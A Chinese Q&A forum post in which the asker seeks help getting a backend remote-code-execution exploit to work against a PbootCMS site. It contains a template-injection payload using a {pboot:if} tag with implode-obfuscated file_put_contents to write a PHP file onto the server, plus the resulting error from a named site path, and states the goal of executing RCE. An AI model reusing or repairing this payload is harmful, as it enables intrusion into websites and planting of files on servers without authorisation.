人间体佐菲 2022-02-26 23:11
浏览 21
已结题

项目八后台RCE利用相关问题

问题遇到的现象和发生背景

后台RCE执行时的错误

问题相关代码,请勿粘贴截图

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['like','.php']),implode('',[''])))}!!!{/pboot:if}

运行结果及报错内容

致命错误:未捕获的错误:调用 /www/wwwroot/http://www.cf1.com/like.php:1 中未定义的函数 phpfile_put_contents() 堆栈跟踪:在/www/wwwroot/www.cf1.com中抛出 #0 {main} /like.php在第1行

我的解答思路和尝试过的方法

对代码进行了审计,对写入到like4h.php进行了implode处理但是依旧无果

我想要达到的结果

正常执行后台RCE来达到目的

  • 写回答

0条回答 默认 最新

    报告相同问题?

    问题事件

    • 系统已结题 3月6日
    • 创建了问题 2月26日

    悬赏问题

    • ¥15 有人会SIRIUS 5.8.0这个软件吗
    • ¥30 comsol仿真等离激元
    • ¥15 静电纺丝煅烧后如何得到柔性纤维
    • ¥15 (标签-react native|关键词-镜像源)
    • ¥100 照片生成3D人脸视频
    • ¥15 伪装视频时长问题修改MP4的时长问题,
    • ¥15 JETSON NANO
    • ¥15 VS开发qt时如何在paintgl函数中用pushbutton控制切换纹理
    • ¥20 关于 openpyxl 处理excel文件地问题
    • ¥15 MS中不知道高分子的构型怎么构建模型